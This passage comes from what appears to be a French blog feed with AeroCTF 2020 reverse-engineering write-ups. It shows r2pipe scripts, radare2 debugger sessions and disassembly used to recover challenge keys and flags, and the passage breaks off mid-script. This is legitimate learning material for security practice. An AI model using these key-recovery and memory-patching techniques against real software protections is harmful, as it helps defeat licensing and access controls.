&lt;span class="mh"&gt;0x2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;hashes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="n"&gt;alphabet_dict&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;

&lt;span class="n"&gt;r2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r2pipe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;goaway.unpack&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ood&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;db 0x48c10f&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;db 0x48b812&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;db 0x48c21e&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;db 0x48c223&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7f&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;dc&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;dr edx=&lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;dr rip=0x&lt;/span&gt;&lt;span class="si"&gt;%x&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mh"&gt;0x48c1ff&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;dc&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;s rsp+0x4f; wx 0x&lt;/span&gt;&lt;span class="si"&gt;%x&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;dc&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;md5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;binascii&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexlify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmdj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pxj 16 @rsp+0x18&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
    &lt;span class="n"&gt;alphabet_dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ood&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;chars&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;offset&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;flag_md5_offsets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x4bf20c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;#print(hex(addr))&lt;/span&gt;
    &lt;span class="n"&gt;nochr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;binascii&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexlify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmdj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pxj 16 @0x&lt;/span&gt;&lt;span class="si"&gt;%x&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
    &lt;span class="n"&gt;hashes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nochr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;chars&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;alphabet_dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;nochr&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;subst&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;toto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;subst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;toto&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;chars&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;toto&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Le script nous donne directement le bon flag, "secretkeykeklol1". Néanmoins, le programme est capricieux, et lorsqu'on lui donne le bon flag, on obtient&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;hmmmm...... key is correct! But I changed my mind about printing you a flag
.....
Instead, I will display you a flag for the key &amp;#39;testtesttesttest&amp;#39;
flag: &amp;lt;caractères non imprimables&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Le flag de validation est donc chiffré, et d'après notre travail de renommage chiffré en AES. La clé "testtesttesttest" encodée sous forme hexadécimale, est passée à la fonction main.ExampleNewCBCDecrypter (qui fait du AES CBC comme son nom l'indique, merci Captain Obvious). Comme on est en CTF, on va donc remplacer la clé à peine décodée par notre flag, puis continuer l'exécution via:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ r2 -d ./goaway.unpack
 -- Everybody hates warnings. Mr. Pancake, tear down this -Wall
[0x0044fd80]&amp;gt; db 0x48b642
[0x0044fd80]&amp;gt; dc
Go away I will not give you a flag!
But if you guess the key I&amp;#39;ll print you a flag....
guess: secretkeykeklol1
hmmmm...... key is correct! But I changed my mind about printing you a flag
.....
Instead, I will display you a flag for the key &amp;#39;testtesttesttest&amp;#39;
flag: hit breakpoint at: 48b642
[0x0048b642]&amp;gt; w secretkeykeklol1 @rax
[0x0048b642]&amp;gt; dc
Aero{3475964bdbfe31fbb40d812fa2f88114765baf72fd7ef0a912c746312bbdc07b}
[0x0044fd9b]&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On a ainsi récupéré notre flag de validation (et je fus le 1er à valider ce challenge 😎)&lt;/p&gt;</content><category term="Reverse-Engineering"/><category term="Write-UP"/><category term="CTF"/></entry><entry><title>Write-UP AeroCTF 2020: 1000 and 1 nights</title><link href="/write-up-aeroctf-2020-1000-and-1-nights.html" rel="alternate"/><published>2020-03-01T09:02:00+01:00</published><updated>2020-03-01T09:02:00+01:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2020-03-01:/write-up-aeroctf-2020-1000-and-1-nights.html</id><summary type="html">&lt;p&gt;Suite à ma participation au CTF AeroCTF 2020, j'en profite pour faire un writeup sur un des challenges "simples", "1000 and 1 night".&lt;/p&gt;
&lt;p&gt;Pour ce challenge, on récupère une archive comportant beaucoup de fichiers, dont le nom semble être un hash. Chaque fichier est fichier un programme ELF x86_64. De …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Suite à ma participation au CTF AeroCTF 2020, j'en profite pour faire un writeup sur un des challenges "simples", "1000 and 1 night".&lt;/p&gt;
&lt;p&gt;Pour ce challenge, on récupère une archive comportant beaucoup de fichiers, dont le nom semble être un hash. Chaque fichier est fichier un programme ELF x86_64. De plus, un serveur écoute, et demande:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Enter valid token to binary with name &amp;lt;8c235f89a8143a28a1d6067e959dd858&amp;gt;
Token:
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;à la connexion. On comprend donc assez rapidement qu'il va falloir automatiser le reversing de tous ces ELF pour renvoyer le bon token au serveur, et ainsi avoir le flag, le serveur demandant une série de tokens avant de cracher le flag.&lt;/p&gt;
&lt;p&gt;Fort heureusement pour nous, ces ELF ont une structure très similaire, et l'automatisation ne devrait pas être trop difficile (d'autant plus que les binaires ne sont pas strippés). La partie intéressante se trouve donc dans la fonction "sym.check" sous radare2:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;            ; CALL XREF from main @ 0x1219
┌ 171: sym.check (void *arg1);
│           ; var void *s1 @ rbp-0x38
│           ; var void *s2 @ rbp-0x30
│           ; var int64_t var_28h @ rbp-0x28
│           ; var int64_t var_20h @ rbp-0x20
│           ; var int64_t var_18h @ rbp-0x18
│           ; var signed int64_t var_4h @ rbp-0x4
│           ; arg void *arg1 @ rdi
│           0x000012a4      55             push rbp
│           0x000012a5      4889e5         mov rbp, rsp
│           0x000012a8      4883ec40       sub rsp, 0x40
│           0x000012ac      48897dc8       mov qword [s1], rdi         ; arg1
│           0x000012b0      48b8110e5655.  movabs rax, 0xe57581255560e11
│           0x000012ba      48ba0e585544.  movabs rdx, 0x114758114455580e
│           0x000012c4      488945d0       mov qword [s2], rax
│           0x000012c8      488955d8       mov qword [var_28h], rdx
│           0x000012cc      48b80d131244.  movabs rax, 0x5614410e4412130d
│           0x000012d6      48ba470d5755.  movabs rdx, 0x430d424155570d47
│           0x000012e0      488945e0       mov qword [var_20h], rax
│           0x000012e4      488955e8       mov qword [var_18h], rdx
│           0x000012e8      c745fc000000.  mov dword [var_4h], 0
│       ┌─&amp;lt; 0x000012ef      eb2e           jmp 0x131f
│       │   ; CODE XREF from sym.check @ 0x1323
│      ┌──&amp;gt; 0x000012f1      8b45fc         mov eax, dword [var_4h]
│      ╎│   0x000012f4      4863d0         movsxd rdx, eax
│      ╎│   0x000012f7      488b45c8       mov rax, qword [s1]
│      ╎│   0x000012fb      4801d0         add rax, rdx
│      ╎│   0x000012fe      0fb600         movzx eax, byte [rax]
│      ╎│   0x00001301      83c00a         add eax, 0xa
│      ╎│   0x00001304      83f022         xor eax, 0x22
│      ╎│   0x00001307      8d48f5         lea ecx, [rax - 0xb]
│      ╎│   0x0000130a      8b45fc         mov eax, dword [var_4h]
│      ╎│   0x0000130d      4863d0         movsxd rdx, eax
│      ╎│   0x00001310      488b45c8       mov rax, qword [s1]
│      ╎│   0x00001314      4801d0         add rax, rdx
│      ╎│   0x00001317      89ca           mov edx, ecx
│      ╎│   0x00001319      8810           mov byte [rax], dl
│      ╎│   0x0000131b      8345fc01       add dword [var_4h], 1
│      ╎│   ; CODE XREF from sym.check @ 0x12ef
│      ╎└─&amp;gt; 0x0000131f      837dfc1f       cmp dword [var_4h], 0x1f
│      └──&amp;lt; 0x00001323      7ecc           jle 0x12f1
│           0x00001325      488d4dd0       lea rcx, [s2]
│           0x00001329      488b45c8       mov rax, qword [s1]
│           0x0000132d      ba20000000     mov edx, 0x20               ; &amp;quot;@&amp;quot; ; size_t n
│           0x00001332      4889ce         mov rsi, rcx                ; const void *s2
│           0x00001335      4889c7         mov rdi, rax                ; const void *s1
│           0x00001338      e833fdffff     call sym.imp.memcmp         ; int memcmp(const void *s1, const void *s2, size_t n)
│           0x0000133d      85c0           test eax, eax
│       ┌─&amp;lt; 0x0000133f      7407           je 0x1348
│       │   0x00001341      b800000000     mov eax, 0
│      ┌──&amp;lt; 0x00001346      eb05           jmp 0x134d
│      ││   ; CODE XREF from sym.check @ 0x133f
│      │└─&amp;gt; 0x00001348      b801000000     mov eax, 1
│      │    ; CODE XREF from sym.check @ 0x1346
│      └──&amp;gt; 0x0000134d      c9             leave
└           0x0000134e      c3             ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On peut voir que le crackme remplit un buffer avec 4 qwords (le "token" chiffré), avant de récupérer le serial saisi par l'utilisateur, et effectuer des calculs dessus avant de le comparer avec le premier buffer.&lt;/p&gt;
&lt;p&gt;L'algorithme de chiffrement de l'input est donc pour chaque octet:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;out&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;serial&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x22&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xb&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Tous les exécutables ont le même algorithme, seuls les paramètres, c'est-à-dire le buffer, et les constantes 0xa, 0x22 et 0xb changent pour chaque binaire. Il nous suffit donc de sortir python et r2pipe pour extraire ces valeurs et communiquer avec le serveur, ce qui donne le python ci-dessous (les binaires sont placés dans un sous-dossier "files"):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/usr/bin/python&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;r2pipe&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;struct&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pexpect&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;socket&lt;/span&gt;

&lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_tok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;r2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r2pipe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;files/&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# Extraction du buffer&lt;/span&gt;
    &lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;Q&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmdj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pdj 1 @0x000012b0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;val&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;Q&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmdj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pdj 1 @0x000012ba&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;val&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;Q&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmdj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pdj 1 @0x000012cc&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;val&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;Q&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmdj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pdj 1 @0x000012d6&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;val&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

    &lt;span class="c1"&gt;# Extraction des params de chiffrement&lt;/span&gt;
    &lt;span class="n"&gt;add_operand&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmdj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pdj 1 @0x00001301&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;val&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;xor_operand&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cmdj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pdj 1 @0x00001304&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;val&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
